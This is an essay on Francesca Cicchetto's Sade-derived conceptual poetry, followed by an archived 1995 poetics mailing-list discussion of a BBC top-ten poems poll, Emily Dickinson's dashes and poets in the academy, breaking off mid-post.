A poet recently remarked, apropos of the American serial poem: "Little potato prints of consciousness." The child's absorbed attentiveness in art-making summoned by that phrase could hardly be further removed from the cool, antiabsorptive conceptualism of Francesca Cicchetto's work. A neon impassiveness lends its steady charm to the cookie-cutter, heartshaped shape of readerly awareness in these poems. No aura - no bliss either. The Italian impulse to laugh off artefactual mystery. Yet the imprint of method, be it figured as crudely as acorn head or ace of spades on the raw cut half of a potato dipped in paint, has nonetheless an exploratory deliberation about it that poses certain questions to the (re)viewer through these portholes of the future.

What can we discern there? A short history of the uses of "method" in twentieth-century poetry of the West might take us from modernism's odd uncle, Raymond Roussel, to the surrealists, the lettrists, Language poetry, and back again to the Romantics, without still ever addressing the crucial determinations that underwrite a writer's use of one "method" over another; and the question becomes acute when, as here, the method involves a framing of found material. Method as window - opening on to different scenes, certainly, but homogenizing them (as Cicchetto's Sadian source-text endlessly reiterates its subject matter) within the unchanging fact of a single reiterated frame. And that frame, as Nils Ya demonstrates so clearly in his exhaustive commentary on the logic of the fragment accompanying Cicchetto's texts, is an *art* frame, a frame encrusted with a flaking history of perception whose very scabrousness causes us, paradoxically, to overlook it as historical (rather than aesthetic) object.

What is the point of Cicchetto's method? Baldly stated, shorn of literary-historical braidings, what does her work propose - about Sade, about sexuality, about postwar (or post-Wall) Europe, about language? After the passage of forty years, years whose same-as-new rhythm has appeared to be ineradicable from the texture of Italian political life, does her point need sharpening?

Like the slipped wig that provides the movie _Naked Kiss_ with its single real frisson, Cicchetto's work reveals the sloppiness of modernism's hold on mid-century European culture, at a time when it was supposed to reign triumphant. The perfect symmetry of her cut-outs only serves to point up what's askew in the culture that provides their primary frame of reference - askew not morally or aesthetically or politically, but "out of joint" in the sense of Hamlet's despairing description of his time. And this temporal dislocation of the

century's high noon is in no way a reflection of retrogression or anachronism in the realm of the arts - it could be argued, in fact, that the stylistic "imperatives" pressed by international modernism were among those things that Adorno's Auschwitz made definitively obsolete. To take two roughly contemporary examples from the realm of the (Italian) visual arts: when Lucio Fontana slashed his canvases with a razor, or when Piero Manzoni produced, for sale, sealed cans labeled "Artist's Shit," they were hardly interested in pressing some quasi-Hegelian logic of modernism to its next identifiable synthesis. Art is health, Yves Klein asserted in 1960, and Joseph Beuys would later respond: it is healing. Scabs, knitting tissue, crusting over a live wound whose lips speak a great deal more than the usual dilemmas of sexuality - is this the health promised us by a thoroughly appropriative art? ~Ut pictura poiesis~ indeed! Yet in this space of disarticulation, the hip bone unconnected to the thigh bone, a space for articulation: Cicchetto holds fast to her method as Rosselini does his camera while filming _Open City_ amid the fresh ruins of a recently abandoned Rome.

Georges Bataille, parsing the language of flowers, has remarked on the image of the Marquis de Sade among the mad in his asylum cell, stripping off the petals of a rose and throwing them into a latrine. The time is long past due, suggests Sade's redactor here, to abandon the postcivilized world. Derelict structures of half-smashed thought, held in abeyance, so many matchflames shielded by cupped hands, they burn out of sight the next step we might take. Yet we don't need extra light to read the graffiti on walls and screens: No more hedging around the demands of the last decent extremism. Human chance reappears at this juncture not in her medieval dress, randomly blindfolded in a double personification of Fortuna-Justice (is that a torture-wheel or scales she holds behind her back?), but as the frolicsome boys, familiar from _Lear_, tearing wings off flies to see what will happen next. Flinging art's petals to the breeze may indeed give pleasure to those suffering from a newly authorized boredom, that form of blank restlessness that has long been the ground of modern creativity. But to expose, to strip off the patterned wallpaper of aesthetic assumptions buried under layers of peeling paint: it could take a lifetime, and the basic questions of redesign - "what next?" - still go unbroached.

What Francesca Cicchetto suggests, I think, is that a total negativity as asymptotic aesthetic limit might well fit our fortunes now - "we" having no horizon on which to construct images of perfect cities, neither hill nor ditch; better the tears and holes of a negative architecture, Matta-Clark's exuberant ruin of dead policies of renewal. Leaves shattered before the mellowing rot of eroticized spatial relations: is that what we, turning the corner of a page, find in the familiar neighborhood that Cicchetto outlines for us in her book? Elegiac

smoke, without a hint of self-pity, gets in the reader's eyes. We should be careful, of course, not to draw too close an analogy between the time in which she writes and our own - between the languid fifties and the scraped-thin nineties. But neither should we overlook the parallels.

Klaus Lorenz is a graduate student in urban planning at the State University of New York at Buffalo. Interested readers should contact Tailspin Press at [redacted] (or 1110 Main Street, Buffalo NY 14209) for further information on the reissue of _Sadiani Rognoni_.

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300. **cris cheek**

Re: Top ten poems

Sat 14 Oct 1995

> *In a separate vote, the top ten poets were: Kipling, Yeats, Wordsworth, Tennyson, Walter de la Mare, Keats, Wilfred Owen, W H Auden, Stevie Smith.*

We're talking about a particular period of 'english' for a particular sensibility of (and possibly age or age identifcation of) reader. We're talking short, mostly romantic or sentimental or patriotic nostalgia, written in what is 'broadly speaking' the wellsprings of what's been called either 'the Queen's English' or 'standard English' (BBC World Service). We're witnessing idiosyncratic examples of 'pop' penetration. Kipling comes on teacloths and the office jotter, Auden is back in the frame after the success of Four Weddings and A Funeral. The top ten poets don't differ much from the authors of the top ten poems. It's just what people feel safe with - also, and perhaps crucially, that poetry (in fact

all proper validated culture) is in 'the past'. Poems that fulfill a function similar to the family heirloom - you might not really want granny's slipper in the house but it is all that remains of her and so gathers respect and historical curiosity as a reminder of 'the past'. This is underlines by the absence of contemporary poets. For all their reported popularity there's no sign of John Hegley, Carol Ann Duffy, Brian Patten, Ted Hughes, Seamus Heaney, Pam Ayres, Benjamin Zephaniah, Adrian Mitchell, Tony Harrison, Simon Armitage, Craig Raine, Kit Wright and so on. Sorry to pollute this list quite so incomprehensibly. Mostly we're talking about one poet known for only a half dozen poems. I wonder how many people who voted for Yeats have a fondness for his wonderful 'Crazy Jane' poems for example.

And Charles, the poets you mention:-

it
>seems to imply that only two centuries of poetry exist. Do Brits not read
>Shakespeare (or regard him only as playwright), Chaucer, Milton, Spenser,
>Donne, Johnson, Smart, Gray, Wyatt, Sidney, Marvel, and many more? Or read
>them only in school and think them a drudge?

None of these writers are perceivable under 'the Queen's English'. Not only are they as Ric says 'difficult', but many of them aren't approached until Degree level. That's the result of an appallingly patronising education system which is replicated in attitudes that drive down lowest common denominators by insisting that one shouldn't write what the bus conductor couldn't understand - when that bus conductor has a double first in mathmatics but either doesn't want or simply can't get any other work. Well, work that's a wholly different topic.

love and love
cris

↑ Index

301. **tunguska**
Top Ten Poetries
Sat 14 Oct 1995

\
What's to be made of it's the same as ol' Ez himself made of it, bitterly:
"An absolute ignorance, of Coin, Credit, and Circulation"
tod thilleman

↑ Index

302. **Chris Stroffolino**
Re: The Art and Poetry Worlds
Sat 14 Oct 1995

so Ron (Silliman), when are you going to publish your memoirs and/or autobiography---it sounds "juicy," "a page turner" etc--a la Baraka's auto. It would certainly be a change from much of your poetry.... Or, maybe, THE COLLECTED EMAIL NOTES OF RON SILLIMAN..... forward by stephen weed, etc----chris s.

↑ Index

303. **Robert Drake**
Re: poetry in notions
Sat 14 Oct 1995

> *some of the limitations of the Poetry in Motion CD ROM may stem from its origins as a video tape ??? Has anybody written anything comparing this project in its two formats?*

actually, origins as a *film*... i was very disappointed w/ the CD version (as much as i am a fan of the film), exactly because it seemed only a hackedup version of another medium, rather than a creative use of the new medium. the same holds true for much of what passes for "hypertext", especially on the WWW--just cutting up passages of linear writing and pasting 'em together w/ links ignores the possabilities, or the _demands_, of hypertextual grammer. plus, the digitized vido looks *bad*... if anyone's planning on using this fr teaching, i'd suggest showing the original... i'm looking forward to checking out the new _little magazine #21_ which just came in the mail (i'll have to wait til lunch break on monday to use the ibm--mac only here at home), sounds like they've tried to stretch it further...

luigi

↑ Index

304. **Judy Roitman**
Re: Michael as exemplum (?)
Sat 14 Oct 1995

> *I think that for many*
> *of us who are poet/teachers there is a desire to be accountable in the*
> *university at large and not to get pigeonholed as a "writer"...*
> *Michael Davidson*
> *Michael Davidson*

As someone not in an English department, I am always shocked by how badly treated the writers are. It is as if the physics department were run by

historians and philosophers of physics, and the people creating physics shunted off to the side.

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305. **Maria Damon**
Re: Top ten poems
Sat 14 Oct 1995

---

my sense is that americans would name robert frost, maya angelou, and longfellow --poets with some kind of "national"(ist) profile.--md

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306. **Maria Damon**
Re: Michael as exemplum (?)
Sat 14 Oct 1995

---

the other MD wrote:
As to Ron's reference to "ambivalence"
that needn't be only the result of institutional conflicts.

Michael Davidson

michael--cd u say more abt. this? abt the usefulness, perhaps, of institutional conflicts and conflicting expectations one has of oneself and that the inst. has of one?--md

↑ Index

307. **Diane Marie Ward**
Emily & top ten poems
Sat 14 Oct 1995

I share other list members' frustration at the lack of variety in the narrow results of the survey of the top ten poems and poets. While I believe that all poets represented are fine examples of literary mastery, all poets on the list are no longer living. If poets are truly as Shelley said "legislators of the world" why doesn't anyone listen to the modern poets who are appreciative of the circumstances surrounding life in the 20th century? Did they poll only Eastenders' fans? I prefer to fall asleep with a book of "classical poetry" but these words cannot truly speak to me of my struggles- or solve the disease of complacency and selfishness that our culture is guilty of. My daily work revolves around cataloging books of poetry - modern poetry - and my heart is sickened because I know that most of these books will go on to the library shelf and collect nice piles of dust because students are not exposed to contemporary authors. Look at your own lives: How many times is American Poetry Review

sold out at your local bookstore - how many people actually go to poetry readings, how many people actually understand what you are trying to express when you do read, do you ever find the poetry section in a bookstore crowded? Of course poetry is an aesthetic pursuit - it will not feed you or tell you you look slimmer etc. (and all the other gimmicks which sell everything today) - Poetry is an expression and I feel frustrated that not one contemporary poet is represented. Poets reflect the fractured reflections of our society - but of course the world wants to hear the "sweet poems of youth" that they were forced to memorize. Don't mind my pessimism -It is just frustrating to know that a poll (another great invention of our sheep mentality world) supports my notion that the vast majority of people are oblivious to modern poetry and the psuedo salvation it offers.

A note on Emily Dickinson: I have always felt that her dashes represented moments of animation: perhaps as she wrote them - a smile came across her face - or a wince. For example in Have you got a little brook - there are four instance of dashes: 3 at the end of 3 four-lined sections. She then chooses to end the 1st line of the final group of 4 lines with a dash. If the dashes are read as hesitating pauses - one can imagine she had specific instances in mind she was alluding to (and you are saying but of course she was). Her poetry is a poetry of reflection and brevity. Perhaps the dashes are instances where she could have written more - or perhaps she wanted to keep secret the details which forced the line from her mind onto her paper. This sounds all very simple but considering her family life and the culture of Amherst at the time I believe she found a seductiveness in her private memories - the ones which have escaped critics - perhaps these memories are forever hidden in those dashes. I am anxious to read My Emily Dickinson by Howe now, perhaps she has a different perspective on this.

:-)
Diane Ward
State University of New York at Buffalo

↑ Index

308. Patrick Phillips
Re: Emily & top ten poems
Sat 14 Oct 1995

I composed some of the remarks on E.D.'s - and, though synoptic, thought it interesting:

dashes:

Ward:

moments of animation

Alexander:

leaps

Carll:

the strategized Voice

Foster:

Lack of "true" punctuation

Levin:

visual variations

Damon:

a "grasping toward"

I always feel a moment of both erasure and contemplation, as though E.D. clears the terrain, the tension while at the same time flooding the poem with tension and a resonance of the preceding and following. Though from line to line this purpose of this "grasping" is eluded, the - is not comprised of the same "object," "intent." The dash at the end of a line like "Between the instant of a Wreck -" is so different from "That knows - it cannot see -" In this poem the dash is both a stitching of wreckage and a breaking of the poem. To write into that place a "visual," willing caesura is a kind of umbilical to her, a "punctuation" of the intimate and the severance of that intimacy. We are made in-extricable.

Before my grandmother died, she folded over her eleventh edition Little Brown _Collected_ on page 350 to # 712 "Because I could not stop for Death -" a poem she turned to often and so left her hand in the book. She would most likely put Emily Dickinson at the top of her list.

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309. Charles Alexander

Re: Top ten poems

Sat 14 Oct 1995

> *my sense is that americans would name robert frost, maya angelou, and longfellow --poets with some kind of "national"(ist) profile.--md*

Maria, you only say Longfellow because you live here in Minnehahasota where everything is either named after him, or he named everything after.

I think Americans read e.e.cummings more than robert frost. probably e.e., maya, and rod mckuen (or was that two generations ago?

↑ Index

310. Charles Alexander
Re: Emily & top ten poems
Sat 14 Oct 1995

Responding to Diane Ward, while I too am sorry top ten lists don't contain contemporary poets, I have to say I was more astounded that the lists contained only 18th Century and later poets. And when Diane says, " I prefer to fall asleep with a book of "classical poetry" but these words cannot truly speak to me of my struggles- or solve the disease of complacency and selfishness that our culture is guilty of," I have to disagree entirely. I do think that not only are complacency and selfishness not particularly contemporary issues, but that they, and a lot of other rather universal concerns, may be found in poetries of many times and many places. Such poetries may not solve our contemporary diseases, but I'm not sure contemporary poetry can solve them, either. Emily's dashes help perhaps as much as Howe's visual leaps and gaps. I like to have both. screw the top ten.

charles

↑ Index

311. James Banton Rolins
The art and poetry worlds
Sat 14 Oct 1995

Some time ago Gwyn made a statement I've just read (been away) and find intriguing, even amazing:_were it not for the madly proliferating MFA programs, people would still be writing the same thing..._ Your suggestion, Gwyn, that art of any sort needs the academy in order to change, if that's what you meant, stops me short. Please elaborate. I've been thinking about the place, influence, etc. of _academic_ poetry and would like to hear from anyone on that topic.

Bart

↑ Index

312. Diane Marie Ward
Re: Emily & top ten poems
Sat 14 Oct 1995

I just wanted to clarify one thing: My name is Diane Ward. But I am not the Diane Ward who authored Imaginary Movie, Never Without One etc. I thought I should mail to the list because I have received numerous messages from people thinking me to be her and I wanted to avoid any further confusion. This is the main reason why I am forced to acquire a pseudonym in order to avoid confusion (which is Ursula). This makes it quite rough on me since two of my favorite poems to perform are based on the genealogy of my name Ward and how special it is to me. When I discovered the poet Diane Ward, I felt like a warm bubble that escapes and bursts on a cold ceiling. Somehow these poems will lose their meaning as I assume a new name for writing purposes. But such is life, one must shed things one has grown too close too. As a side note, I agree with Charles Alexander who disagreed with me: classical poems can offer us contemporary comfort and modern poems cannot always provide us with justification or solace. After I sent the message, I felt I had betrayed all the classical poets which I try to shove down others throats- trying to impress upon others that Byron is wonderful and that there are so many other lesser known poets worthy of light reading (Letitia E. Landon, Anne Bronte, Coventry Patmore, Hannah More etc.) But the point I was interested in making was that these poets listed in the Top ten cannot speak to us of the concerns of 1995 (ie. nuclear arms, recent wars and their outcomes, the rise of technology, modern art etc., pesticides on our foods, rainforest depletion, economic problems). At least they cannot speak to us in a direct way -- one can infer knowledge from them and then apply it to modern situations. :-) Diane Ward poet and artist who works at the University of Buffalo cataloging poetry books (for an international database and also for the local BISON database that services the University of Buffalo Poetry and Rare Books Room)

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313. Alan Sondheim
Re: Emily & top ten poems
Sat 14 Oct 1995

the dashes as words flooding, the gesture of a hand turning upward arm downward simultaneously, those weirs gathering in the waters, literally

the speaking of the words falling out, dasein, thrown words as in but not quite the ending of a breath

the dashes in collusion with the shape/effect of the notes, written everywhere _broken_ into discrete units unumerated

but the dashes then across the scraps of paper
creasing or folding of paper

words dashed through the breath into daily life

- it's other punctuation that needs explanation not this -

↑ Index

314. **Chris Stroffolino**
Re: Emily & top ten poems
Sun 15 Oct 1995

I guess "meaning" has gone out of fashion when it comes to Dickinson and dashes--or perhaps never was in....For many of the critics who were obsessed with meaning ignored the complexity of meaning the dashes afforded--Judging by recent comments by Pat Phillips and Diane Ward (are you THE diane ward, I mean the one who ROOF published, etc)-- which DO bring up important points (don't get me wrong--as chrissy wd sing)--it seems the gestural concerns (TAKEN ALONE) can eclipse the possibilities of meaning---and to some extent can deny the difficulty of the work..... chris s.

↑ Index

315. **Chris Stroffolino**
Re: Emily & top ten poems
Sun 15 Oct 1995

OOPS---sorry diane---just read your note about your "identity"-- please accept my apologies--chris

↑ Index

316. **Rod Smith**
Re: Top ten poems
Sun 15 Oct 1995

> *I think Americans read e.e.cummings more than robert frost. probably e.e., maya, and rod mckuen (or was that two generations ago?*

Seems to me as a bookseller the current college generation goes for Bukowski & to some extent the beats-- particularly Kerouac, but also Ginsberg, tho Angelou certainly does well. May be a DC phenomena, but I don't think so.

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317. Ron Silliman
Re: Michael as exemplum (?)
Sun 15 Oct 1995

You wrote:
>
>the other MD wrote:
>As to Ron's reference to "ambivalence"
>that needn't be only the result of institutional conflicts.
>
>Michael Davidson
>
>michael--cd u say more abt. this? abt the usefulness, perhaps, of
>institutional conflicts and conflicting expectations one has of
oneself and
>that the inst. has of one?--md
>
I want to note, since I have noticed here and elsewhere of late, that the term "ambivalence," at least whenever I use it, should not be taken as a negative. Literally, "seeing both sides"...though I am painfully aware that there really are more than two such sides.

Polvalent, tho, doesn't quite capture it.

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318. Ron Silliman
Re: The Art and Poetry Worlds
Sun 15 Oct 1995

You wrote:
>
> so Ron (Silliman), when are you going to publish your memoirs
and/or
> autobiography-

The autobiography is in the words....

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319. Michael Davidson
Re: Michael as exemplum (?)
Sun 15 Oct 1995

>the other MD wrote:
>As to Ron's reference to "ambivalence"

>that needn't be only the result of institutional conflicts.
>
>Michael Davidson
>
>michael--cd u say more abt. this? abt the usefulness, perhaps, of
>institutional conflicts and conflicting expectations one has of oneself and
>that the inst. has of one?--md
>
Maria--One is not born an institution; one becomes one. You could try and
ignore its boundaries, limits and rhetorics by believing in the
private-self-as monad, or you can appropriate it as a technology--something
whose limits you work within and against. I think the reason writers in the
university often find themselves marginalized is that they willingly accept
the partition "Arts and Sciences" as describing exactly what they are. This
way the writer doesn't have to be responsible for what "they" do (to your
funding, your gallery, your hiring policies, your tenure decisions) and can
continue to write within a pervasive RESSENTIMENT. Which is good if you
want
to write novels about academic infighting but bad if you want to consider
yourself a public intellectual. I notice that Russell Jacoby does not refer
to poets such as Adrienne Rich, Amiri Baraka, Allen Ginsberg--or Robert
Lowell, for that matter--in his classification of "public intellectuals.
It's that sense of partition that is the real legacy of aesthetic modernism.

md
Michael Davidson

↑ Index

320. **Michael Davidson**
Re: Michael as exemplum (?)
Sun 15 Oct 1995

>You wrote:
>>
>>the other MD wrote:
>>As to Ron's reference to "ambivalence"
>>that needn't be only the result of institutional conflicts.
>>
>>Michael Davidson
>>
>>michael--cd u say more abt. this? abt the usefulness, perhaps, of
>>institutional conflicts and conflicting expectations one has of
>oneself and

>>that the inst. has of one?--md
>>
>I want to note, since I have noticed here and elsewhere of late, that
>the term "ambivalence," at least whenever I use it, should not be taken
>as a negative. Literally, "seeing both sides"...though I am painfully
>aware that there really are more than two such sides.
>
>Polvalent, tho, doesn't quite capture it.
>
Ron...I agree with you about ambivalence. I was only suggesting that there is more than one source for ambivalence and that the institution needn't be the single source. I'd probably be ambivalent working anywhere. Ambivalence is a historical construct, based I suspect on the existentialist vogue of the 1940's and 1950's, and it's hard not to regard it as a property of the self rather than the postwar malaise out of which it emerged. That's not very clear. I mean that as a product of existentialism ambivalence has been swallowed by a subjectivist position that refuses to think outside of its self/other models. Harold Rosenberg, in his intro. to "The Anxious Object," observed the same thing about the historical meaning of "anxiety"--to wit: that objects only become anxious after they have 1) become objects, separate from the social and 2) after Sartre.

MD>
Michael Davidson

↑ Index

321. Robert Drake
Re: Emily & top ten poems
Sun 15 Oct 1995

---

following up diane ward's 10/14 post

tho always disappointed when reminded that my chosen sphere of activity is not shared by more people (so valuable to me, if only they would see the value their lives would be so much richer...), i'm bemused at best that, having made our choices, we would waste much time bemoaning our fringe status ... top ten lists might be good for a hoot on letterman (nice name, that), but hardly basis for handwringing. face it, the kinds of poetry most often discussed here are just not gonna make it as a mass commodity, here & now...

on the flip side, plenty of poetries not ususally considered on poetics (& probably not considered for the list that started this thread) are alive & well & finding their audiences. rod mentioned bukowski, & he's the top seller at my local book- store, along with ginsberg & co., maya, and various anthologies

targeted to specific community audiences (black, women, gay). buk is now dead, but i have probably 250 pounds of chapbooks & magazines directly inspired by him, sitting here for review. poetry readings seem to have doubled around here, tied among other things to poetry slams... && i've heard the rumor more than once (can anyone confirm?) that rod mckuen had more gold records than the beatles. && kalil gibran? && rap lyrics?? &&&... not saying anything about the aesthetics of any of these (tho i'd probably hold a minority opinion about some of them, here on the list), but if popular is the criterion...

lbd

↑ Index

322. **Maria Damon**
Re: Top ten poems
Sun 15 Oct 1995

---

charles: abt longfellow --he never set foot in minnesota. i grew up in newton and cambridge ma, where his house was a star tourist attraction. we all learned about "grave alice and laughing allegra, and someone (edith?) with golden hair," and let's not forget the midnight ride of paul revere, or was that by someone else? and "THIS is the FORest priMEVAL, the MURmuring PINES and the HEMlocks," which is about acadia. the guy got around, in his verse anyway. i think the minneapolitan fixation on longfellow has as much to do with a wannabe east coast anglo thing as with the fact that "hiawatha" purportedly took place in MN. it's kinda of appalling --the way actual Native Americans are treated in MN vs the New England aristocratic turn of the century mythology that's been adopted as part of the city's identity and self-representation. You may be right about ee cummings. i thot abt him, but left him off.--md

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323. **Gwyn McVay**
Re: The art and poetry worlds
Sun 15 Oct 1995

Bart, what you are responding to was my flip and poorly elaborated notion that the academies, with all their glorious faults, at least serve some function in heightening the general level of awareness with regard to any of the arts. In other words, the MFA mentality (and you can debate the existence and nature of same endlessly) at least provides the groundwork, the slate, the field, whatever, for a person's state of awareness to be raised even further.

Gwyn

↑ Index

324. **Herb Levy**
Re: Texts about poetics "sound"
Sun 15 Oct 1995

A couple of sources that may be of use (though they're not entirely about "sound poetry" as such) are:

Kahn & Whitehead - Wireless Imagination, MIT Press; includes some great original texts by Antonin Artaud, FT Marinetti & Pino Masnata, Arseni Avraamov, Alberto Savinio, & Villiers de l'Isle-Adam and some very good critical pieces on Raymond Roussel, Marcel Duchamp, early surrealism, Russian Futurism, horspiel, & John Cage.

Lander & somebody - Sound by Artists, Metropole Press; my copy of this is loaned out right now, but it has several interesting pieces on the aesthetics of sound that may be relevant.

The radio issue of Semiotext(e) (volume 6, #1), Radiotext(e) edited by Neil Strauss has some articles that may be useful, too.

> *Can anyone recommend to me great texts on poetic sound? Sound as "material," etc. as a contemporary poetic. Any thoughts would be appreciated.*
>
> *Thanks,*
> *Loss*
> [redacted]

Herb Levy
[redacted]

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325. **Herb Levy**
Re: Top ten poems
Sun 15 Oct 1995

Ken Edwards notes:

> *Or perhaps the list merely reveals the class/age profile of people who respond to BBC radio polls (imagine a similar list of "classical music favourites" - the selection above being perhaps poetry's equivalent of "a good tune").*

FWIW, classical music polls ARE always just the hits: The Four Seasons, the Brandenburg Concertos, various Mozart & Beethoven works.

It's a small blessing, but at least the BBC poetry poll included poems & poets of the 20th century.

In every classical music poll I've seen, the 20th century might as well never have happened. (except of course that the modern proliferation of recordings and broadcasts makes it possible for more people to be aware of older music in the classical tradition.)

Oh, well.

Herb Levy
[redacted]

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326. **Chris Stroffolino**
Re: Emily & top ten poems
Sun 15 Oct 1995

Also, the trend that seems to be championing the gestural zaniness of Dickinson's dash, as a perloffian radical artifice or something, has to contend with the idea that for every "pomo" dash there exists a folk art "rhyme scheme"----....cs

↑ Index

327. **Tony Green**
Re: Top ten poems
Sun 15 Oct 1995

Bukowski and Ginsberg still very high on list of
second-hand bookshop's
buyers in Auckland (I learned last Thursday)
-- shd be plenty for them to buy
and re-sell eventually since both
writers featured in University Bookshop stock
until recently (though
not specially featured in teaching I guess.)

Tony Green,
e-mail: [redacted]

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328. **Loss Glazier**
Re: Poetry in Motion (Review)
Sun 15 Oct 1995

Forwarded message:
From: Loss Glazier <[redacted]>

Subject: Re: Poetry in Motion (Review)
To: [redacted]
Date: Sun, 15 Oct 1995 18:51:44 -0400 (EDT)
Cc: [redacted] (Loss Glazier)
Content-Length: 471

Wystan,

To be honest, I'm not familiar with the film. Although this does seem to make sense. I also heard (though I've not seen it) that there's a Poetry in Motion 2 CD-ROM which makes me suspect even more that you are correct. If you find out, it would be interesting to know.

With best,
Loss

> *Dear loss,*
> *I presume the Poetry in Motion CD-ROM is an adaptation of material in the film of that name to the new medium. Am I right?*
> *wystan*

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329. Patrick Phillips
Re: Emily & top ten poems
Sun 15 Oct 1995

> *I guess "meaning" has gone out of fashion when it comes to Dickinson and dashes--or perhaps never was in....For many of the critics who were obsessed with meaning ignored the complexity of meaning the dashes afforded--Judging by recent comments by Pat Phillips and Diane Ward (are you THE diane ward, I mean the one who ROOF published, etc)--which DO bring up important points (don't get me wrong--as chrissy wd sing)--it seems the gestural concerns (TAKEN ALONE) can eclipse the possibilities of meaning---and to some extent can deny the difficulty of the work..... chris s.*

to submit, Chris, meaning is conjugal and this sort of joining is exactly the sort I speak/write of here; that meaning is the social derivative of dash, the mnemonic condition of it; meaning persists, is elongated in these lines. What else do you concede our attention to it? That taken _alone_ (something I sense impossible) the gesture subverts meaning -- I don't get you, and would like to...

Pat

↑ Index

330. Ken Edwards
Top ten poems
Sun 15 Oct 1995

Like Ric, I made a point of avoiding the National Poetry Day nonsense - fortunately, here in Peckham, an inner-city district of London, there were few manifestations of it. However, I make no apologies for posting the top ten to this list, as food for thought. I have often wondered about the gulf between perceptions of poetry at large and the view of it shared by many of us here. I have my "poetry" friends and my other friends, and should the conversation ever turn to poetry with my "other" friends, which is but rarely, embarrassment often ensues. For example: the subject of the top ten poll came up yesterday evening in the pub, so I mentioned my amazement that Kipling's Victorian moralistic doggerel "If" had come up top. At which a friend - by no means unsophisticated in other respects - further amazed me by saying slightly shame-facedly that he used to have it tacked up on the wall at home. Then another friend went on at length to me about listening to something by James Fenton on BBC Radio 4. If you admit you're a poet in this country, you risk either an embarrassed silence or someone blathering on about James Fenton, a poet whose work I particularly detest, seeking my approval thereby. So, usually I don't. Admit I'm a poet, that is.

This is an awful state of affairs, isn't it? If I were a painter, would I go round afraid to admit it in case folks get embarrassed, or that I might unwittingly provoke them to seek my opinion on bad Victorian narrative painting or chocolate-box art, or tell me what a "comfort" painting is? Hmm, probably not.

For non-UK readers, I should stress that the poll was taken from listeners to BBC national radio, notoriously middle-class and middle-brow. Round this neighbourhood, you'd be hard pressed to find people who've heard of many of the poets/poems on the list (you might get the odd Irish drunk who could quote the Yeats poems verbatim, though). In its favour, the top ten at least included some good poems, though perversely I can't help feeling they're now slightly tainted by association. What an elitist I must be!

Now, Ric, let's have some opening nominations for that worst ten poems list.

- Ken

↑ Index

331. Charles O. Hartman
Re: POETICS Digest - 13 Oct 1995 to 14 Oct 1995
Sun 15 Oct 1995

On Diane Ward's post:

But Shelley didn't say poets were the "legislators of the world." He said poets are "the unacknowledged legislators of mankind."

He left open the question of whether the efficaciousness of the legislation depended on its being unacknowledged.

Charles Hartman

↑ Index

332. Carl Lynden Peters
Re: Emily Dickinson-
Sun 15 Oct 1995

---

my thanks to all for your insights on the dashes -- since posting that question, i've noticed similar uses of the dash in browning, which i read as indexical of mulit-voicedness -- maybe something similar to what dickinson has done. -- maria: thanks for the suggestion of "acting out" the dashes -- i'll let you know how it turns out --

c

↑ Index

333. Wystan Curnow
Re: Poetry in Motion (Review)
Sun 15 Oct 1995

Dear loss,
I presume the Poetry in Motion CD-ROM is an adaptation of material in the film of that name to the new medium. Am I right?
wystan

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334. Lisa Samuels
Re: Top ten poems
Sun 15 Oct 1995

---

wystan,
in response to your final point: i think poetry is most powerful when it embraces, threads into itself, the inevitability of its failure.

lisa s.
>
> Dear Herb,
> A useful comparison. This current subject comes in various

> guises in our discussions, and its a frequent not to say chronic one:
> why isn't our art more popular? more powerful? It's a complaint we can
> share with other arts, as you say. Although there are differences and I
> was disappointed the question as to why the visual arts have grown more
> confident which was recently raised did not get much substantial
> discussion. Didn't modernism demolish the middle class audience for the
> contemporary arts? Has anyone not an enemy of modernism done a decent
> postmortem on this? Our problem so often seems to be that while we
> persist in producing texts as opaque or offensive as modernist texts
> (its a measure of their criticality) we take no pleasure, feel no glee,
> no superiority, when they get the same reception. There seems no
> likelihood poetry will make a comeback. Perhaps it is the art form above
> all which should insist on its failure, come to terms with its
> invisibility, should... perhaps because that's its only choice. What do
> the rest of you reckon?
> Wystan
>

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335. **Wystan Curnow**

Re: Top ten poems

Sun 15 Oct 1995

Dear Herb, A useful comparison. This current subject comes in various guises in our discussions, and its a frequent not to say chronic one: why isn't our art more popular? more powerful? It's a complaint we can share with other arts, as you say. Although there are differences and I was disappointed the question as to why the visual arts have grown more confident which was recently raised did not get much substantial discussion. Didn't modernism demolish the middle class audience for the contemporary arts? Has anyone not an enemy of modernism done a decent postmortem on this? Our problem so often seems to be that while we persist in producing texts as opaque or offensive as modernist texts (its a measure of their criticality) we take no pleasure, feel no glee, no superiority, when they get the same reception. There seems no likelihood poetry will make a comeback. Perhaps it is the art form above all which should insist on its failure, come to terms with its invisibility, should... perhaps because that's its only choice. What do the rest of you reckon?
Wystan

↑ Index

336. **Tony Green**
Re: Top ten poems
Sun 15 Oct 1995

As I was saying to Wystan on the phone, I'm still
not anthologized --- Wystan, you're getting to be
a shade more translucent yrself these days?

My belief is one does one's worst and get it out there in
the space of public utterance, even if in no more than
fifty copies or, reading/reciting aloud, no copies at all. (Then
if it gets to be used by someone else -- as taught in
a classroom, move on smartly. I've seen imitation of
a reading piece I did in 1978, thanks to an extra-mural
class in which it was used. It had been published in a
student yearbook of which the editor was my wife.
But the imitation missed much of the point which
was its inordinate length. Move on!)
Are poets still the
speakers for the otherwise unspoken for? the
ultimate resistance to the imposition on the
defenceless and the oppressed by the law
and therefore the language of the powerful.
(Legislators, thus, and unacknowledged,
looking after "the government of the
words", acc. W.C.Williams
as cited by Robert Creeley).
That is the line taken by H.Cixous recently
(Critical Inquiry, about three years back)
to whom reference was made recently on this
list. The measure we have been tending to has
been rather publication, scale of publication,
success in publication, entry throught the academy.

Opacity from one point of view is translucency to
another. Is it the ambition of poetry through
publication and the academy to change the viewpoint
of readers, so that what starts out opaque, becomes
translucent?

Is this a fundamental issue in the debate over
the mysterious political value of poetry?

Tony Green,
e-mail: [redacted]

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337. Diane Marie Ward
top ten
Sun 15 Oct 1995

On Sun, 15 Oct 1995, Charles O. Hartman wrote:

> On Diane Ward's post:
>
> But Shelley didn't say poets were the "legislators of the world." He said
> poets are "the unacknowledged legislators of mankind."
>
> He left open the question of whether the efficaciousness of the
> legislation depended on its being unacknowledged.
>
> Charles Hartman
>

Please pardon my misquote. Interesting point Charles raises. It reminded me of the poem by Andrei Codrescu entitled: De Rerum Natura (from which I feel the need to quote because paraphrasing would do Codrescu an injustice - with book in hand -)

